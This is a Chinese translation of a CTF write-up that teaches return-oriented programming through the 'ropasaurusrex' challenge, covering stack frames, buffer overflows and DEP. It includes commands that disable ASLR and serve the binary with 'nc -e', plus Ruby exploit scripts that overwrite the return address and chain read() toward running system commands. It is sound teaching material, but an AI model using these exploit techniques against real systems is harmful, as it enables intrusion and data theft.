安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

http://p4.qhimg.com/t01ce437d43f86d3d7c.jpg


传送门


【技术分享】ropasaurusrex:ROP入门教程——STACK

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)

译者的话


这篇翻译自SkullSecurity——ropasaurusrex: a primer on return-oriented programming。此文章对ROP进行了非常详尽的介绍。这也是译者个人非常喜欢和强力推荐的文章。文章的篇幅较长,毕竟算是一个完整的教程,翻译时我将文章分为了三个部分。

ropasaurusrex:ROP入门教程——STACK

ropasaurusrex:ROP入门教程——DEP

ropasaurusrex:ROP入门教程——ASLR


前言


CTF比赛之后对一些问题的回顾往往让人感觉很糟糕。可能你花了几个小时在问题上在一个题目,但不会像比我在cont上花费这么多时间,不是因为分数,而是意识到它真的很简单。但也是一个脑洞题,ROP也就是这样子。

无论如何,尽管我花了很多时间在一个错误的思路上(具体的说,我没想过绕过ASLR会花费很多时间)。这篇文章的流程:我们解题先解决没有ASLR的难度,之后再加上ASLR,这个是理解ROP的好办法。

在我开始这篇文章之前,我要感谢HIkingPeter对我的帮助。在他的帮助下我们很快地解决了这个疑惑。

巧合的是,我想写一篇关于ROP的文章也有一些时间了,基于此我甚至写了一个相关的demo。但是PlaidCTF给我们这个挑战,我认为它会是一个更好的谈论素材。这篇文章不仅仅是一个WP,同时也是一个初阶的ROP编写教程!


是什么是ROP?


ROP——返回导向——编程,是“return to libc”的EXP编程的别名。当你在一个程序中发现一个溢出或者其他形式的漏洞,但是你没有明确的办法让你的代码进入到可执行的内存空间中(DEP,或者说数据执行保护,意思是说你不能在任意地方运行代码了),ROP可以帮助你控制这个程序。

ROP里你可以选择已经在可执行内存区块的,带着return的代码块,有时候这些代码块有的很简单,但有时候很复杂,庆幸的是在这次的练习中,我们只需要了解简单的。

但是在正式开始学习ROP之前,首先我们需要更多有关栈的知识。我将会花一些时间在介绍栈上面。



我相信你之前听说过栈,那么栈溢出呢?粉碎堆栈呢?它们的确切意思是什么呢?如果你已经知道,你可以可以把下面的内容当作一个快速入门,或者直接跳过进入下一节。

这是一个简单的例子,一个函数functionA()调用了functionB(1,2),接着函数functionB()调用了functionC(3,4),现在栈的情况如下:

http://p4.qhimg.com/t0106a82a6b14cbdd78.png

如果你不深呼吸静下心来,是不是没办法一下子讲清楚这个栈结构?好的,让我来解释一下,每当你调用一个函数,一个新的栈帧就会被建立。一个帧的意思是一个函数为它自己在栈上分配一些内存空间。实际上,它甚至没有分配,它只是在栈中增加一些东西,更新ESP寄存器来让函数知道哪里是它应该是栈帧开始运行的(ESP,栈指针,也是一个变量)。

一个栈帧保存了当前函数的上下文。这可以让你很轻松地为新调用的函数建立新的栈帧,或者返会前一帧(返回上一个函数)(通过esp的增加或者减少,esp始终在栈的顶部,也就是在当前栈的最低地址)。

你有没有想过当你调用其它函数的时候,当前函数的局部变量到哪里去了(或者说你再次递归调用一个函数的时候)?如果你没有思考过,或者不清楚,你现在应该明白:这些参数保存在旧的栈帧中。

现在,让我们看看栈中储存了什么,栈中的数据是按照顺序存放的(如果对本篇文章的栈有疑问的话,你可以重新画一个栈,在这篇文章里,栈从高地址向低地址延伸,调用者(旧函数)在顶部,被调用者(新函数)在底部):

a.参数:这些参数被调用者传递进函数里,这些是对ROP来说是十分重要的;

b.返回地址:每一个函数都应该知道当他结束的时候应该到哪儿去,当你调用一个函数的时候,下一条指令的地址在实现调用函数之前就先被压入保存在栈中。当你返回的时候,这些地址弹出栈并且跳转到对应的地址上。这对理解ROP来说也是十分重要的。

c.保存的栈指针:让我们完全无视它。严格来说这项工作是编译器做的事情,除非它不,不然我们不会再提起它

d.局部变量:函数可以根据它的需要来分配相应的内存来存储局部变量。在这里对ROP来说他们并不重要,我们可以忽视它们。

我们来做一个总结:当一个函数被调用,相应的参数带着返回地址会被压入栈中,当一个函数返回时,它再栈中抓取返回地址并跳转到相应的位置上。除非在不被清除的情况下,被压入栈中的参数将会被调用函数清除。我将假设被调用函数不会清理自己的参数(译者:这也是ROP编写中要处理的,作者在下文会具体说明),而是被调用者清理,现在理解它是怎样工作的是一个挑战(这种情况大多数发生在linux)。


天堂地狱和栈帧


要理解ROP你要知道的东西是:一个函数的“整个世界”是它的栈帧。栈是它的神,参数是它的命令,局部变量是它的罪恶(对于局部变量,译者不了解基督文化,不能理解作者这样比喻),保存的帧指针(EBP等)是它的圣经,返回地址是它的天堂(好吧,也有可能是地狱)。

假设你调用了sleep()函数,并且到了这一行,它的栈帧如下所示:

http://p7.qhimg.com/t012bde469d57405fda.png

当sleep()开始时,栈帧如下。它保存栈帧指针并且通过减少esp(让esp指向更低的地址)为局部变量分配栈空间。它也可以调用其它的函数,通过控制esp来创建新的栈帧,它可以做很多不同的事情。不管怎么样,当sleep()开始时,栈帧构成了它的整个世界(译者:这个栈帧的存在时间,就是函数中参数的生命周期)。

当sleep()返回时,它的栈空间最终变成这个样子:

http://p7.qhimg.com/t01ffee49f03d114195.png

还有,在sleep()返回时,调用者将会通过将esp+4来清除[second](稍后,我们将会讨论如何用pop/pop/ret结构来完成同样的事情)。

在一个正常运转的系统中,这是这个函数的一个工作流程,当然这是在工作环境安全的情况下做的考虑。这个[second]值压栈之后就只会在栈中,然后返回地址将会指向调用它的地方。那么,它可以返回到别的地方吗?


控制栈


……好的,如果你这样问我(如何控制栈的话),就让我来告诉你。我们都听说过栈溢出,就是在栈中覆盖一个变量。它在运用中是怎么回事呢?,让我们来看下面的栈帧:

http://p0.qhimg.com/t0133e9246bf73cbfaa.png

buf变量的长度为16字节。当向buf输入一个17字节的数会怎么样呢?向它输入的最后一个字节会覆盖[return adress],再输入一个字节的话会覆盖[second],以此类推。因此我们可以通过修改返回地址使其指向我们想的任何地方。好的,当一个函数返回时我们应该让它返回哪里呢?我觉得那里应该是一个完美的世界。在这个例子里,它确实会返回到攻击者想要的地方。如果攻击者说跳到0,那么它会跳到0然后崩溃,如果攻击者说跳到-0x414141(“AAAA”),它会跳到那儿然后崩溃。如果攻击者说。。。,好吧,接下来就让我们把这个过程变得复杂一些。

到这里文章的很详细地介绍了栈,其内部函数调用栈中数据所发生的变化,以及基本溢出的原理,接下来作者开始介绍DEP,也就是译者译文的第二部分。


DEP


通常来说,攻击者可以通过修改返回地址使其指向栈,因此攻击者有能力将代码放入栈中(毕竟,代码也只是一串字节)。但是,因为这是一个普遍普遍而且简单的方法来利用操作系统,所以这些讨厌的操作系统公司(只是一个玩笑,我还是喜欢你的,伙计们:))推出一个数据执行保护(DEP)来防止这种攻击的发生。在任何有DEP的系统上你再也不能在栈中执行代码,通俗的讲,只要攻击者在任何地方写入代码,程序就会崩溃,

在许不被允许的情况下我们如何执行我们的代码?

稍后我们会介绍它。在这之前,我们先来挑战一个简单的漏洞程序。


有漏洞的程序


这里有个漏洞函数,从IDA里面看看:

http://p7.qhimg.com/t011d8b8b2dd16e148a.png

如果你看不懂汇编,这可能让你感到气馁,实际上它很简单,这里有上面汇编对应的C代码:

ssize_t __cdecl vulnerable_function()
{
char buf[136];
return read(0, buf, 256);
}

我们可以看到,这里将256字节的数据读进一个136字节长的数组buf。再见栈先生(译者:不得说作者还是挺幽默的)!

你可以很轻易的用管道向程序输入一大串‘A’,然后看以下会发生什么:

http://p0.qhimg.com/t018ee57738e50f3978.png

简单来说,我们用0x41414141(‘AAAA’)覆盖了返回地址。

这里有两个方法来控制程序的EIP,我选择相对不好一些的的方法。我这样设计我的缓冲区,把‘BBBB’放在最后面,然后前面用‘A’填充,直到程序在‘BBBB’崩溃:

http://p6.qhimg.com/t01b536722287863bfa.png

如果你想用好的办法(我的意思是更慢点的办法),你可以使用Metasploit’s pattern_create.rb和pattern_offset.rb(译者:实际上用pattern.py或者windbg mona更快些)。当猜测较复杂的程序,它们是很好用的,但是对与这个简单的程序来说,产生溢出需要的填充字节数很容易计算,所以我不想再多此一举。


开始写一个EXP


首先你要将ropasaurusrex作为一个网络服务来运行。在比赛中这个过程由CTF的出题人使用xinetd来做,但目前就我们的程序来说,使用netcat就好:

$ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done

从现在开始,我们将local:4444作为我们攻击的目标,如果我们的EXP可行的话,我们将挑战实际的服务器。

使用下面的指令,你可以关闭ASLR:

$ sudo sysctl -w kernel.randomize_va_space=0

(译者:或者使用下面的指令:

echo 0 > /proc/sys/kernel/randomize_va_space 
)

这条指令将使你的系统很容易被利用,所以我并不推荐在外做一个这样的实验环境。

下面是一些ruby代码和初始的EXP:

require 'socket'
$ cat ./sploit.rb
s = TCPSocket.new("localhost", 4444)
# Generate the payload
payload = "A"*140 +
[
0x42424242,
].pack("I*") # Convert a series of 'ints' to a string
s.write(payload)
s.close()

(译者:推荐使用pwntools)

输入ruby ./splot.rb运行然后你会看到服务的崩溃:

http://p0.qhimg.com/t011694859a7eb0d00f.png

然后你可以用gdb检查它是否崩溃在正确的位置:

http://p5.qhimg.com/t01201a55783c158e20.png

好的,现在我们开始利用它!


如何在ASLR上浪费时间


我把这一节叫做浪费时间,因为在那个时候我并没有注意到ASLR是启动的。但是不管怎么说,ASLR的启用使这个问题变成了一个有益的难题。但是现在,我们不必关心ASLR,事实上在这篇文章里我们还没有给它定义,我将在文章的下一节介绍它。

好的,那么我们现在应该怎么办?我们有一个漏洞程序,还有libc共享库,下一步怎么做?

我们最终的目标是运行系统命令,因为stdin和stdout都可以和scoket挂钩。如果我们可以运行类似于system(“cat/etc/passwd”)这样的代码,那么我们就可以执行任何的代码了,但是做到这个我们还需要做两件事情:

1.在内存中的某个地方找到cat/etc/passwd

2.执行system()函数


在内存中得到字符串


在内存中得到字符串时间上需要两个步骤:

1.找到我们拥有写权限的内存

2.找到我们可以写入的函数 

这些很难办吗?并不见得!首先找到我们可以读可以写的内存,最明显可以找到的地方就是.data段:

http://p7.qhimg.com/t013f425c249505c0aa.png

额,好吧,.data段只有8字节长并不够用。理论上,任何地址只要足够长,可写而且没有被占用都足够我们使用了。让我们用objdump  -x来看看,我发现一个叫做.dynamic的节区似乎满足我们的要求:

http://p1.qhimg.com/t0148769604aa18e177.png

.dynamic节区保存动态链接的信息,我们不需要知道我们具体要选择哪一个地址,所以选择0x08049530来重写。 

下一步是找到一个可以把我们的命令写到0x8049530地址的函数。相比较使用库函数而言,最方便的函数是可执行文件本身带的函数,这些函数不会因为系统的更换而改变,让我们看看我们这个程序有什么:

http://p3.qhimg.com/t01e6628c254273c73d.png

我们立刻可以获得read()和wirte()这两个函数,他们的用处很大!read()可以从socket读取数据并且写入内存,它的函数原型是这样的:

ssize_t read(int fd, void *buf, size_t count);

这就是说,当你进入read函数时,栈会变成这个样子:

http://p8.qhimg.com/t015a21554ead05e6f2.png

我们更新我们的EXP:

$ cat sploit.rb
require 'socket'
s = TCPSocket.new("localhost", 4444)
# The command we'll run
cmd = ARGV[0] + "\0"
# From objdump -x
buf = 0x08049530
# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C
# Generate the payload
payload = "A"*140 +
[
cmd.length, # number of bytes
buf, # writable memory
0, # stdin
0x43434343, # read's return address
read_addr # Overwrite the original return
].reverse.pack("I*") # Convert a series of 'ints' to a string
# Write the 'exploit' payload
s.write(payload)
 
# When our payload calls read() the first time, this is read
s.write(cmd)
# Clean up
s.close()

再次运行EXP:

http://p1.qhimg.com/t0146367d3db7e28a98.png

验证:

http://p1.qhimg.com/t01fbcee2edb4ff0cc3.png

证实它崩溃在read()的返回地址,然后将我们的命令写入了0x08049503:

http://p7.qhimg.com/t01eea9d83aa4a15447.png

完美!


传送门


【技术分享】ropasaurusrex:ROP入门教程——STACK

【技术分享】ropasaurusrex:ROP入门教程——DEP(下)


原文链接:https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming

未经允许不得转载:安全路透社 » 【技术分享】ropasaurusrex:ROP入门教程——DEP(上)

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册